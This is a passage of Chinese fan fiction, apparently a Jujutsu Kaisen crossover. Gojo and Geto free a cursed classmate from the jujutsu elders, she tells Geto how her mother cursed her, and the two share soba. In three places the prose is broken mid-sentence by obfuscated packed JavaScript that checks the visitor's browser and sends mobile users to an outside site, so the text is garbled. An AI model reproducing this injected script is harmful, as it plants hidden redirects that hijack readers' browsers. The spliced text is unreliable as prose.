“五条悟!”另一个舞良户后响起恼怒的声音,“别以为你是五条家的人就能这么放肆!那东西必须关起来!处死!” 五条悟停下了往外走的脚步,侧头:“你也知道老子是五条悟?”五条悟伸出一根手指,微笑,“老子可是最强,你又算什么东西?” 随着他话音落下,蓝色的苍直接在舞良户上炸开,烛火被强风吹灭,露出舞良户后空无一人的地面。 五条悟嘲讽一笑:“连面都不敢露的老橘子。” “五条悟!” “太欺人太甚了五条家!” “哈?你们再狗叫——”五条悟横眉,举起手就要挥过去,一只大手拉住了他的手腕,是夏油杰。 夏油杰神色平和,语气略带责怪:“悟,跟你说了多少次了,不要动不动就行使暴力。” 他边说,身体微微一侧,一阵野风凭空而起,突兀地卷过他们面前层层叠叠排列着的舞良户。 随着哧的一声,舞良户后的烛火一盏盏熄灭,最后竟只留下了一点星火明明灭灭。 口吐着龙息的庞然大物悄无声息地盘踞在夏油杰的身侧,龙首探出他的肩膀,人头那么大的金色眼睛紧紧盯着最后一盏还亮着的舞良户。 夏油杰还在礼貌道:“悟应该对长辈尊敬一些。请问刚刚在商讨的关于一年级组西川雾音的判决是什么来着?” 唯一还剩下的咒术高层:“……” 站在夏油杰侧后方的五条悟眨了下眼,哈哈大笑着举起手指头,蓝色的光若隐若现:“当然是无罪释放啦!” 夏油杰友好道:“既然如此,那我们就恭敬不如从命了。” 唯一还剩下的咒术高层敢怒不敢言:“……” 两个高中生勾肩搭背,并排往外走着,还能听到白头发的在抱怨:“饿死了杰,你就不该对那些老橘子讲那么多,打一顿就都老实了。” 黑头发一本正经:“悟,这样不好,我们要以德服人。” 白头发若有所思:“果然,还是杰更坏一点。” 他们快走到出口的时候,五条悟突然停下了脚步,一手搭在同期的肩膀上,一边侧头看向了身后不知什么时候重新亮起的舞良户。 他如倒映着苍穹和冰河的蓝瞳一眨不眨,这个一出生就改变了咒术师与咒灵的平衡、象征着这个世界最强的力量的男高中生冷声道: “再说一遍,老子的同学,老子说让她活着,她就必须活着。她是五条悟要保的人,老子看谁敢动她?” 夏油杰微笑着听好友放狠话,伸出手拍了拍五条悟的肩膀。 白头发一扭头,就得意地问他:“杰,老子这次的以德服人怎么样?” 夏油杰毫不吝啬地夸了他一句:“还不错。” 接到消息等在门口的夜蛾正道:“……” 虽然不知道里面具体发生了什么,但是按着他对自己这两个学生的认识,也能猜到结果。 夜蛾正道叹了口气,看着两个男生:“雾音的事你们不用担心,也不用再管了。尤其是悟,别想着半夜去后山找麻烦。杰你也别笑,别在背后怂恿他。别以为我不知道你。总之,你们先去把雾音带出来吧,那孩子已经被关了三个小时了。” - 西川雾音还老老实实地坐在椅子上没有动过。 但是她有点饿了。 她最近的一餐还是那个已经能用出简易领域的咒灵。 肚子一直在咕咕叫,她向来耐不得饿。 哪怕已经尝不出食物太多的味道,但是胃被填得暖暖的满满的感觉,仍让她觉得有几分满足。 食物在此时对于雾音的意义,更多是独属于家的烟火气,会让她仍有种自己还走在四年前放学回家的路上,在这条路的尽头就是属于她的有着父母在等待着的家。 西川雾音闭着眼,想象着那个场景,吸了吸鼻子,可惜只能闻到屋内浓郁的香灰气。 她睁开眼睛,好饿。好想吃东西。 从她被关起来开始,就没有一个人来过这个房间,所以如果她悄悄消失几分钟,应该也不会有人发现吧? 于是西川雾音从椅子上站起身来。 她低头看了看自己还染着血污的裙子和身上披着的黑色校服,将到她膝盖的男式宽大校服扣子扣紧,立起来的衣领也恰好能挡住她的半张脸。 她摸了摸遮住鼻尖的衣领,走到了门边,轻轻一拉,门就开了。 外面的天已经黑了,门口也没有看管的人。 站在门口往外望,第一眼看到的就是黑夜中群山。如沉默的、令人胆战心惊的巨物压在头顶,让人喘不过气来。 这里大概是学校后山的位置。 西川雾音走出去,左右看了看,沿着主路往高专的学校楼走去。 走到一半,她才突然想起自己现在应该在被封印的房间里。于是又往旁边走了走,偏离主干道,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722502|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路边的灌木丛里继续前行。 正从后山往这边走的五条悟和夏油杰还在说诅咒的事。 “看到了吧,杰,老子平时可没跟你开玩笑,那些老橘子完全不需要任何尊敬。”五条悟随手揪了根草叶要在嘴里含糊道,“刚刚要不是你拦着,老子铁定要揍他们一顿。” 夏油杰却在蹙眉思考:“悟,高层的人以前也是这样吗?遇到被诅咒的人就会立即执行死刑?” 五条悟侧头看他,语气随意:“差不多吧。他们怕死,有任何超出掌控之外的人和事,都会选择这样一劳永逸的方法。啊当然,毕竟他们,都太弱了嘛——” 夏油杰摇摇头:“不,我的意思是,为什么是死刑?明明可以选择为雾音解咒吧?只要诅咒解除了,危险也就不存在了,但是他们像是根本没有考虑这个选项。很奇怪,不是吗?” 五条悟拖长音嗯了一声:“确实有点奇怪……说实话,那家伙那时候的眼神真是让人不爽啊……” 五条悟想起在商场里质疑西川雾音时,她沉默地望着他的那一眼,越琢磨越觉得有些不对劲,遂抬头去看身边的好友:“杰你……” 话还没说完,就看到夏油杰脚步慢了下来,他正望着不远处的灌木丛中,没注意到五条悟在说什么。 夏油杰犹疑了一下:“悟,你看到那有个人了吗?” “啊?”五条悟皱着眉看过去,然后蓝眼睛就蓦得睁大,爆笑出声,“杰!那有个傻子!” 西川雾音裹着夏油杰长到能给她当裙子的校服外套,半蹲在灌木丛里,连脸都埋了下去,只露出浑圆的黑发脑袋长在灌木上。 听到熟悉的笑声,她才抬起头,果然看到几步之外站着的两个男生。 西川雾音蹲在那里仰头看着自己的两个男同学走过来,非常有礼貌:“晚上好。” “晚上好。”夏油杰看着她这副模样,有些忍俊不禁,轻咳了一声:“雾音,你这是在做什么?” 西川雾音老老实实道:“饿了。想去找点吃的再回去继续关着。” 夏油杰伸手将她从地上拉起来:“不用回去了。我跟悟就是来带你出去的。” 西川雾音顺着他的力度站起身,看了他俩一眼,歪了下头:“是产屋敷大人来了吗?” 五条悟的白脑袋蓝眼睛也凑过来:“什么产屋敷,是五条大人和夏油大人救了你!” 雾音有些惊讶:“那些人竟然会怕你们吗?” 五条悟眨了下蓝眼睛:“怕老子不是很正常吗?老子可是最——强诶!” 西川雾音明显不信:“那些人可不是那么好说话的人。” 夏油杰倒是敏锐地捕捉到了对方话里的意思:“雾音以前也被像这样关起来过吗?” 西川雾音听到问话,抬头去看他。 与他对视了两眼,伸手将沾在肩膀和头发上的碎叶拿掉,语气稀松平常:“嗯,刚被诅咒的时候产屋敷大人曾带我去过京都的咒术高专,那时候也有被这样关起来过……” 咕叽…… 雾音低头,看了看被校服外套遮住的肚子,看向了面前的两个人,意思再明确不过。 夏油杰接收到了对方的信息:“……先吃饭?” 五条悟不知道在琢磨什么:“你们去吧,我就不去了,有点事去办。啊对了,”五条悟像是想起了什么,转过头来问,“所以你为什么一直没有解除身上诅咒?又是被诅咒师通缉,又是被关起来的……明明只要解除了诅咒,这些就都不是问题了吧?” 已经跟着夏油杰往另一边走去的女生听到问题微微侧头,碧色的眼珠往后转到身后还在耐心等着答案的白发男生身上。 她停住脚步,看他:“你也想要杀死我的妈妈吗?” 两个男生一齐怔住。 11.第十一章 夏油杰一向自诩能言善道,在此刻也不知道应该先说什么比较好。 事实情况远比他们之前所了解的、想象的更复杂也更难解。 他的好友倒是在随口问出了惊世骇俗的答案后,瞪着一双蓝眼睛扭头跑得没影了,把剩下的尴尬和无言留给了他。 尽管只是走出了十步,夏油杰脑子里已经快把前十四年经历过的所有事情想了一遍,试图找出那么一句符合当前语境的话。 可惜的是,一句都没有。 大概是因为有所顾虑,夏油杰既不敢询问那场事故,也不敢提及对方父母,现在甚至连几个小时前对方在商场里遭遇诅咒师袭击的事都不敢问一句没事吧? 毕竟夏油杰除了在能看到咒灵这件事上与普通人不太一样之外,其他方面都与正常人无异。 健全的父母、无忧的童年、常年得优的学习成绩、自认算得上帅气颇受女生喜欢的脸,以及背地里还做着拯救人类的酷炫行动。 这些的一切都造就了现在这个傲气但不自负,甚至因为与别人独一份的不同所形成的敏锐却相对温和的性格。 所以夏油杰才会斟酌到底要不要说些什么,或者应该说些什么才不会让女生觉得冒昧和突兀。 但同时,夏油杰又觉得西川雾音不是一个脆弱到需要他来安慰的人。 事实证明也是如此。 西川雾音是不知道身边这个敏感的男高中生的这些心理活动的。 她跟着夏油杰一前一后地走着,她的身上还披着那件黑色校服,干涸的血渍在黑夜里也成了衣服上一团模糊的印花,只有离得近了才能闻到淡淡的腥味。 她不喜欢这腥味。 所以他们准备先回宿舍换新的衣服。 下午在商场里买的东西都已经先被家入硝子带回了宿舍,西川雾音想起下车后硝子担心的神情,摸了摸口袋——刚买的手机连同袋子一起被带了回去。 西川雾音索性将手一背,伸脚,踩着前面男生的影子往前走。 影子总是反映着主人的情绪。 在脸侧轻晃的刘海时不时会随着他的动作向后甩。 男生总是克制的。 他看上去想要说些什么或者想要问些什么,但是最终都没有贸然开口。 西川雾音注视着他的影子。 在路过街口的自动贩卖机时,男生按下了两瓶可可牛奶。 西川雾音还踩在他的影子上,看着他弯腰捡起掉下来的牛奶盒。在对方递过来,她伸手接过的时候,突然道:“你看影子。” 夏油杰一怔,低头去看自己在路灯下的影子。 因为维持着伸手的动作,看上去倒有几分怪诞的意味,像是长出奇怪肢体的生物。 西川雾音将吸管插进牛奶盒中,吸了一口,咬着吸管有些含混不清道:“它大概跟你的影子长得差不多吧。” 夏油杰慢了半拍才意识到对方在说什么,非常吃惊地望向她。 雾音冲他摇了摇手里的牛奶盒:“感觉杰会想要知道它的事情。” 夏油杰难得窘迫起来:“不……我不是想要打探你的……” “没关系。是我要谢谢你跟五条将我从那个房间里带出来。”西川雾音笑了一下,“原本我都已经做好会被关上很久的准备了。” 夏油杰看着她又问了一次:“之前被关了很久吗?” 西川雾音歪头想了想:“大概有两天吧……产屋敷大人以为京都的人可以帮我解除诅咒,就在拜访后将我留在了那里,但是他走后,那些人就将我关进了跟今天一样的都是封印的房间。那时候我还不会呼吸法,被画了符咒的锁链捆着,也没有饭吃,后来是产屋敷大人的鎹鸦发现了我,才将我救了出去。” 夏油杰沉默了一下。 在这段没有过多的情绪掺杂的叙述中,他偏偏能够想象到只有十岁大的女孩被锁在昏暗房间里饿着肚子的场景。 但这也是夏油杰所不解的。 他对于高专是感激的。 高专让他找到了属于自己的归属感。他并不是什么异类。 可是西川雾音的出现和她的遭遇却让高专在他心中迷雾层层。 ——不,严格来说,高专、或者说夜蛾老师等人仍然是夏油杰所尊崇的对象,而那些躲在舞良户后面口口声声说要执行死刑的人,才是令夏油杰所困惑的。 但是温和的男生仍旧坚定着自己一开始就做下的决定,他站在背光处,本就柔和的面部线条在暖光的映衬下更加温柔: “其实,刚刚一直想说,只是没能找到合适的机会开口——如果雾音你不想解除诅咒,那就不解除好了。这是我跟悟共同做的决定。我跟悟商量过了,如果你需要咒灵玉,以后每次出任务,我们都会带回来给你。你不需要有任何的顾虑。” 这个温柔的人把“我会保护你”这种话藏在了句子里。 西川雾音听懂了。 她仔细看了看他,男生那双深紫的认真望着自己的眼睛,像是此时夜空一样深,也像银河一样澄澈,仿佛浸透着对方最大的真诚。 西川雾音说不清那一刻的感受,但她喜欢那一刻夏油杰的眼睛。 她看着他:“杰呢?杰不要咒灵玉了吗?” 面前的男生微微抬起下巴,左手拇指轻轻摸了摸鼻尖,声音带了几分少年人的倨傲:“也不是什么咒灵我都会收归己用,我会自己收伏特级的。” 西川雾音笑起来,却什么都没说,只是主动走在了前面。 因为高专的人少,所以宿舍是男女混宿。 西川雾音的宿舍在二楼硝子的旁边。 听到有声音,硝子早就打开了门,靠在门边等着他们。 见到西川雾音,先伸出手跟她拥抱了一下,然后在她耳边轻声问:“没事吧?” 西川雾音摇了摇头。 家入硝子总算松了口气,转身进去将下午在商场买的一堆东西提了出来。 夏油杰自觉给她俩充当苦力,接过几个大袋子,帮忙送到雾音的宿舍里。 西川雾音的宿舍因为还没住过,所以里面除了必备的桌子椅子衣柜床之外,到处空荡荡的。 她从袋子里翻出新买的衣服换上,夏油杰和家入硝子则走到门外的走廊里聊天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728150|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >硝子靠在走廊的栏杆上,拿出烟冲夏油杰晃了晃,夏油杰摇头拒绝了。 家入硝子自己抽了一根,也没点上,只是咬在嘴里:“怎么样?” 夏油杰学着她的样子靠在那里,眯着眼望着天上的月亮,将后山的事简单地说了一遍。 家入硝子听完,只是叼着烟在齿根磨着,半晌道:“原来是妈妈啊……真是个可怜的孩子。” 家入硝子将手臂压在栏杆上,望着黑夜:“先说好,我站雾音这边。” “喂喂,说得好像我跟悟是什么坏人一样。”夏油杰侧头看她,“我们会尽最大努力保护她的。” 家入硝子用手抻着脸,视线在对方身上转了一圈:“夏油,我有没有说过你对雾音的态度很不一样啊。” 夏油杰听了,只是扬起嘴角,连带着细长的眼尾一起,语调轻扬:“是吗?” 家入硝子轻轻嘁了一声。 西川雾音出来的时候只看到夏油杰一个人靠在走廊上,望着远处不知道在想什么。她走到后面轻轻拍了一下对方的肩膀:“硝子呢?” 夏油杰转过来看她:“硝子说她困了,就先回去睡了。”他突然对雾音招了招手,“你来看。” 西川雾音顺着他的方向走了几步,学着他手臂扒在栏杆上,低头往下望:“看什么?” 话音才刚落,有风从下掀起,黑夜中巨大的兽首缓慢仰起,金色的竖瞳与西川雾音对视,它吐出长长的龙息,吹乱了雾音的长发。 身旁的人已经踩着栏杆翻到了长龙身上,他握着龙角,侧身向雾音伸出一只手。他这才回答了先前雾音的问题:“带你站在龙上俯瞰东京啊。” 额前的刘海轻轻扑打在他的脸颊,他脸上还带着笑,昳丽的面容映进西川雾音的眼睛里,雾音有些惊讶地看向他:“可以吗?” 夏油杰笑眯眯:“为什么不可以?” 西川雾音:“上次你带我坐龙,夜蛾老师不是还罚你写检讨了?” “……硝子怎么连这个也跟你说了啊?”夏油杰侧头轻咳了一下,“那你要不要上来啊?” 西川雾音抓住他的手,顺着力度站在了虹龙上:“当然要上。” 长龙腾空而起,摆尾便飞出这幢高大却古旧腐朽的建筑。 夜风习习,月亮也触手可及。 西川雾音坐在龙首上,半眯起眼望着远处城市的霓虹:“真的找不到第二条龙啦?” 夏油杰也坐在她旁边,学着她说话:“真的找不到啦。雾音很喜欢龙吗?” 高中男生有些可爱的翘舌尾音让西川雾音笑起来,她捋了捋飞到眼前的长发,嘴角翘起: “我只是喜欢能够飞上天的咒灵而已,感觉就算吃下去应该也没有那么难以入口。” 夏油杰听了后有些谨慎地回着:“……以后如果再遇到会飞的咒灵,我会尽量留下来送给你。” 西川雾音看了他一眼,又看了一眼后终于笑起来。她的眼睛弯着,瞳仁里倒映着月亮,如碧水般波光粼粼。 “没关系的,杰想问什么都可以,”她捋了捋吹乱的长发,终于吐露:“是我妈妈诅咒了我。” 12.第十二章 西川雾音那天原本是要参加吹奏部的部活的。 她上的青南小学网球部很有名,在下一个周末,她们吹奏部就要去为网球部的比赛助威加油。 但因为前几天父亲带着她赏樱花时着了凉,直到今天她的嗓子都是哑着的,更别说吹小号了。 于是西川雾音跟同班的友人告别后,也加入了回家部,提前从学校里放了学。 她的家离青南小学有些距离。 青南小学是依着青南寺建的,要先走过长长的山道,然后穿过桥洞去往最近的地铁站搭乘地铁,坐三站到小野站后再沿着小路一路直走,就能看到种了山茶和御衣黄的小院。 院中的西南角是父亲专门留出来的空地,准备等她卒业时种下椿树,这棵椿树便会同她一样郁郁葱葱的长大。 西川雾音慢悠悠走着。 她尚有童心边走边看,还揪下了蓝色的一小朵插在自己的鬓边,可爱得不行。 她有些迫不及待想要让妈妈看到她头上的小花,因此在远远看到自己家的两层小楼时,就抓紧书包带,小跑着进了院门。 “我回来了!”西川雾音脱了鞋就踢踢踏踏地往厨房跑,“妈妈你快看我头上的花……” 声音被推开门后所见的怪物骇到戛然而止。 该如何形容呢? 那是一个扭曲的、浑浊的、几乎顶着天花板的细长肢体支撑着一颗硕大的眼珠子,就像是科幻恐怖片里的怪诞生物。 那如同昆虫类的触手贯穿人类的身体,藏青色的衬衣往外晕染出深色的血迹。 西川雾音记得这件衬衫。早上爸爸还让她帮忙打领带,蓝灰色的领带被一本正经地戴在脖子上,而现在只在地上落下残缺的一半。 西川雾音瞪大眼睛盯着那块布。 在极度的惊恐中,她好像仍有一半的灵魂割裂开来在思考。 这是什么东西?为什么会出现在她的家里?那是爸爸吗?爸爸被怪物吃掉了吗?妈妈呢?…… 当那颗恶心的眼珠子开始转动,发出令人作呕的粘稠的声音时,原本倒在另一边桌下的母亲突然扑过来,将她牢牢地掩住。 周围的一切都像是褪了色一般,动作变得缓慢,声音被拉长,只有那个怪物还维持着正常的速度,甩着触手插进了女人的前胸。 ——后来她才知道,这是那怪物的领域。 那个向来温柔的母亲捧起西川雾音的脸,手劲大到在皮肤上留下鲜红的印子。 她的声音是轻的:“雾音,妈妈会诅咒你,用爸爸和妈妈的命诅咒你,害怕吗?但总好过死在这里……” 西川雾音颤抖着声音,像是完全听不懂母亲在说什么:“……爸爸……爸爸死了吗?” “他死了。”她是冷酷的,“妈妈也要死了。雾音,记住今天发生的一切,永远都不要忘记,爸爸妈妈是被怪物杀死的,想要活下去,就不要让自己变成怪物。” 西川雾音被鲜血溅了满头满脸,她被母亲死死按在怀里,口鼻埋在濡湿的布料中,扑鼻而来的血腥味挤压着她鼻腔中赖以生存的氧气,让她喘不上气,呼吸不了。她挣扎着,却被母亲更用力地箍住: “……诅咒你……只能以人的身份死去……痛苦也好、挣扎也好……倘若违背……意志……必将手刃……” “……愿日之呼吸……杀灭恶鬼……” 西川雾音因为过度缺氧,耳边的诅咒之言也同天外来音,朦朦胧胧散进耳朵里。 她被母亲带着一齐倒在地上,大口喘气,眼前发黑。 在非人的触手即将刺到身前时,有庞然大物从母亲的身体里长了出来。 黑色的影子遮天蔽日,整个空间被扭曲撕碎,殷红的流焰从溶化的怪物身体上开始燃烧,很快蔓延整个屋子,惨叫声不绝于耳。 黑色的鎹鸦猛栽进被火焰包围的房子,半昏迷的西川雾音腾空而起,被鎹鸦抓住肩膀破开烈焰直飞上天。 气流和风在她耳边猎猎作响,她低头,她看到了。 黑色的、庞大的、丑陋的怪物坠在她的脚下,勉强能辨认出是脸的部位长着四只细长的眼睛,四只眼睛转动着一齐盯着西川雾音。 西川雾音张了张嘴,吐了出来。 - 夜风从发间穿过。 “我的眼睛……”西川雾音伸出手摸了摸自己的眼角,“在那场变故后失明了一段时间。产屋敷大人说是诅咒借用了我的眼睛,所以才会带我去京都高专。后来我修习呼吸法,诅咒才慢慢被压制在身体里。” “但我学不会日之呼吸。”西川雾音将手放下,大概是看出了身边男生的疑问,“之前有跟杰说过吧,那个名叫鬼舞辻无惨的怪物。百年前鬼杀队的成员就是用呼吸法击败了一众恶鬼。呼吸法本源就是日之呼吸。只是日之呼吸不是每个人都能学会的,大家大多是在其基础上调整成为适合自己的呼吸法,如水之呼吸、霞之呼吸等等。我努力了很久也只学会雾之呼吸。” 说着,像是有些不好意思般,西川雾音手指轻轻抓了一下自己的脸。 日之呼吸,据产屋敷大人所说,是千年前一位顺应天命出生的英雄天生便会的东西。他生来的使命本是杀掉鬼之主,却因意外未能完成,为此曾抱憾终身。 但西川雾音却觉得能够将呼吸法传授给鬼杀队,这位名叫缘一的英雄已经完成了他的使命了。 甚至直到鬼之主死后的百年后的今日,西川雾音仍被这份馈赠所庇佑着。 夏油杰安静地听着西川雾音的讲述,侧着头专注地望着她:“今天在商场里的诅咒师,跟那些人——四年前去你家的那些人,是一伙的吗?” 西川雾音点头:“是。” 夏油杰仍一眨不眨地看着她,声音轻缓微沉:“在商场里的时候雾音说过,那群诅咒师是能够用血操控咒灵的人。他们自愿放弃自己的姓氏,加入到了某个组织中,想要效仿百年前的那个人类叛徒,成为不老不死的怪物,对吗?” 西川雾音再次点头:“对。” 夏油杰:“这样的野心勃勃的一群人却将目光投向了在当时只是普通人的一家,甚至在四年后仍对你穷追不舍,所以他们想要从雾音你的身上得到什么?” 总是能够精准地击中靶心的男生再次抛出问题来。 他并不是真的在听一个过去的故事,而是认真地在结合实际思考着。 因为思索,他不自觉地微微抿唇,手指屈起抵在下颌处,长长的眼睫也在他眼下映出稀疏的阴影来,合着月色,竟也有几分肃冷的意味。 如果西川雾音足够了解夏油杰,她就会知道这其实已经是对方不甚高兴的表现。 因为夏油杰隐约猜出了一些什么。 作为一个之前能够将普通人的生活和祓除咒灵平衡得堪称完美的人来说,夏油杰最讨厌的、最不喜欢的莫过于咒灵肆虐、诅咒师害人这两件事。 他的同期他的友人总是无法理解为什么他总是将保护普通人摆在第一位,甚至对他的那些言论感到甚是可笑。 可是同期殊不知,作为普通人出身的夏油杰,也觉得他甚是傲慢。 是那种一出生就站在山顶上,看遍了世上漫野的云和壮丽的山后,于是对山脚下用来裹食的梯田发出一句“差强人意”的傲慢。 只有他知道平静的生活被打破的痛苦。 原本他也该是一个什么都不懂,什么都看不到的幼童才对。 可是出生在普通家庭里的他偏偏不是一个普通的人。 而在来到高专前夏油杰也已经看到过太多次束手无策的人们惨死在咒灵手中。 他曾无数次被噩梦惊醒,梦中无一例外是他的父母、他的同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733577|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学友人被咒灵扭曲的身影覆盖的情景。 梦中的他已经参加过太多次葬礼,才会在现实里拼了命想要保护那些什么都不懂的人们。 哪怕被误解,哪怕无法得到父母的体谅,哪怕没有掌声和赞美,哪怕只是做一个无名的不会被任何人知道的英雄,夏油杰也是心甘情愿的。 所以当夏油杰得知,四年前,一个只有十岁的孩子亲眼目睹父母死亡,被自己的亲生母亲诅咒,野心勃勃的诅咒师至今仍对她穷追不舍后,想要保护普通人的信念在这一刻具象化成了西川雾音的模样。 于是夏油杰认真地看向她:“可以告诉我吗?” 那些诅咒师究竟想要得到什么? 西川雾音侧头看他,他毫不避讳对方的眼睛。 如黑夜般深邃沉寂的瞳仁竟莫名有些像多年前的那个只有寂寥零星的夜。 明明她不了解也不清楚男生坚守的信念,但是在这一刻却好像稍微读懂了这片深夜里唯一闪耀的辰星。 “是我。”西川雾音看着他的眼睛慢慢道,语气轻轻,“他们想要得到我的身体。” 百年前的故事并没有随着那个名叫鬼舞辻无惨的怪物死去而结束。 鬼舞辻无惨曾在死之前试图同化掉鬼杀队中的一对兄妹,他们虽凭借自己坚不可摧的信念和药物重新变回人类,但是那些仍妄想长生不老的人们却坚信鬼王终将永生。 他们相信那对兄妹身上流着鬼舞辻无惨的血,倘若鬼王有一天醒来,必然会在这对兄妹之间选择其一。 百年的时间,那对兄妹早已化为尘土,但是不老不死的野心却被那些自发聚集起来的人们继承了下来。 “我和妈妈,就是这对兄妹的后人。”西川雾音仰头望了望月亮,“可我们只是普通人。鬼舞辻无惨已经死了。” 西川雾音看向夏油杰,又轻声说了一遍:“我们只是普通人。” 说着,她的面部肌肉无意识地微微抽了一下,碧绿色的瞳仁飞快地聚起白雾,意图掩住泄露出的情绪。 她的妈妈,是这个世界上最温柔的人。 那样温柔的人却对她下了世界上最恶毒的诅咒。 “如果有任何意外,诅咒会比任何人都要早的先杀了我。”保证她不会落到那些诅咒师的手中,保证她不会成为那些人的试验品,“如果有鬼觊觎我,诅咒也会用日之呼吸灼伤恶鬼。” “所以我不能解除诅咒。” 就让这个紧箍咒永远戴在她的头上吧。西川雾音如此想着。 而作为回应,男生却是突然转过脸去,不再看她。 西川雾音还没有意识到自己流泪了,她还惊诧于对方突然的反应。 直到风将泪水吹散,她尝到了些许咸湿的味道,她才恍然摸了摸自己的脸。 原来她竟然哭了…… 西川雾音就像是一个年久失灵的信号接收器,身体和情绪长久以来都不在同一个调频上,直到刚刚因为记忆的连接,迟钝的身体终于接收到了来自回忆的情绪。 但即便如此,她仍旧没有丝毫的真实感。 一切的感官都像是隔着一层薄雾。 西川雾音顺着指尖水光反射的月亮皎光往上看,从刚刚起坐在她旁边的男生就目不斜视地看着前方不知名的地方。 长长的斜刘海随着风好多次拍打在他的脸上,都没能让他转动半分,像是生怕自己的目光会让雾音感到窘迫和难为情,因此哪怕是盘腿坐着,都坐得端正挺直。 西川雾音终于迟钝地感受到了面前这个男生特有的温柔。 他既没有问她还好吗,也没有安慰她一切都过去了。 他只是假装没有注意到她自己都没能察觉到的情绪失控。 被一直注视着的夏油杰始终目视前方,他严肃又认真地问着:“你喜欢吃荞麦面吗?” 13.第十三章 夏油杰喜欢吃荞麦面。 他喜欢荞麦面蘸了酱汁后劲道清爽的口感。 细滑的面裹着微甜微凉的汁水,可以将口中挥之不去的、完全诞生自人类负面情绪的那种污秽恶心的味道冲淡。 直到这个时候他才会觉得自己好像又重新站在了地面上,能够喘出一口气了。 因此这样清爽的荞麦面,对他来说恰到好处。 夏油杰坐在已经有些年头的高脚桌前,夹起细面浸在面前的汤汁里。褐色的酱汁裹在面上,在不甚亮的灯下闪着润泽。 就着这样细闪的光泽,他看向坐在对面的女生。 她正认真地小口吃面,长发从左侧的肩上滑落下来,为了不让头发沾染到汤汁,一边伸手将垂落的发丝往耳后掖着,淡粉的唇上浸了同样细闪的水渍。 夏油杰不由地露出笑容:“味道怎么样?这是我经常来的一家店。” 西川雾音咽下嘴里的面,感觉胃渐渐被填满,那种烧心般的饥饿感才算散去。 她抬头看向夏油杰,刚张嘴就打了一个小嗝,男生立刻垂下视线,咳了好几声,压下到嘴边的笑意。 西川雾音倒是没有什么羞赧的情绪,又夹了一些面送进嘴里,慢慢咀嚼着,含糊道: “很细很滑,凉凉的,吃起来很劲道,还不错。” 夏油杰原本还在含笑听她说,听着听着,他突然意识到对方只是在叙述【面】的口感,关于【味道】则自始至终没有提及过。 夏油杰沉默了一下,低头,将面蘸了酱汁送进嘴里。明明是微甜的、醇厚的味道。 他突然想起,这种对他来说恰到好处的清淡,已经是西川雾音品尝不出的味道了。 于是他没有再提这件事,而是再抬头时对着她露出浅淡的笑:“你喜欢就好。” 倒是西川雾音回以他一个更灿烂的笑容:“喜欢。” 西川雾音是真的喜欢。 上一次像这样坐在普通的食店里还是她在吹奏部拿奖的时候。 爸爸专门请了假早早在学校门口等着她。爸爸抱着她,她抱着奖杯,就这样被带到了一家看上去年代颇为久远的食店里。 爸爸总会点上两人份的定食,将足够雾音吃饱饱的量分出来后,就会笑眯眯说上一句“我开动啦”,然后大口地吃起来。 跟爸爸一起吃饭,总是一件令人胃口大开的事。 【因为食饭是人一天中最重要的事,是雾音需要怀着敬畏之心去对待的事。】 西川雾音垂眸看着碗里褐色的汤汁,突然地,就很想知道这面的味道。 “……是甜的吗?” 夏油杰一开始以为是自己听错了,他抬头就看到坐在自己对面的女生正用那双碧翠色的眼睛看着他,认真地又问了一遍:“面是甜的吗?” 夏油杰在微怔之后,点头,肯定道:“是甜的。” 西川雾音慢慢笑起来,她说:“那我能想象出来它的味道了。” 因为她的爸爸也曾经带她吃过微甜的荞麦面。 夏油杰看着她的笑容,突然就有些懊悔,为什么自己曾经在吸收咒灵的时候,从来没有想过收藏一个能够增加味觉或者增强五感的咒灵,如果有一个的话,现在就能够让她自己尝到面的味道了。 夏油杰用筷子搅了搅褐色的面汤,看着上面漂浮的油花微微出神。 曾经他为自己每一次吞咽咒灵玉感到难捱和痛苦,也曾想过如果没有味觉就好了,如果在吞咽的时候能够失去感知就好了…… 可当真的有这样一个人出现在他面前时,夏油杰突然意识到,原来能够感知到痛苦也是一种幸运的馈赠。 莫名释怀的男生也笑起来:“下次,一定让你吃出甜的味道。” 他如此笃定的说道。 但他没想到还没等他找到能够让西川雾音恢复味觉的方法,西川雾音就失踪了。 同她一起消失的还有他们的同期,五条家的神子,五条悟。 - 体术课上,好不容易逮到机会终于跟西川雾音对练上的五条悟毫不手软地将训练场地轰成废墟。 地面上扬起的尘灰和弥漫的白雾混杂在一起,将大半个训练场都包在其中。 不需要上体术课的家入硝子抱着咖啡坐在一边的长椅上,眯着眼看了半天也看不清场地里的两个人,只好选择放弃,转而看向了旁边的夏油杰: “难得你今天就坐在这看着,不用教雾音近身搏斗了?” 夏油杰托着腮看着场内模糊的两个人影:“偶尔也会有偷懒的想法嘛。” 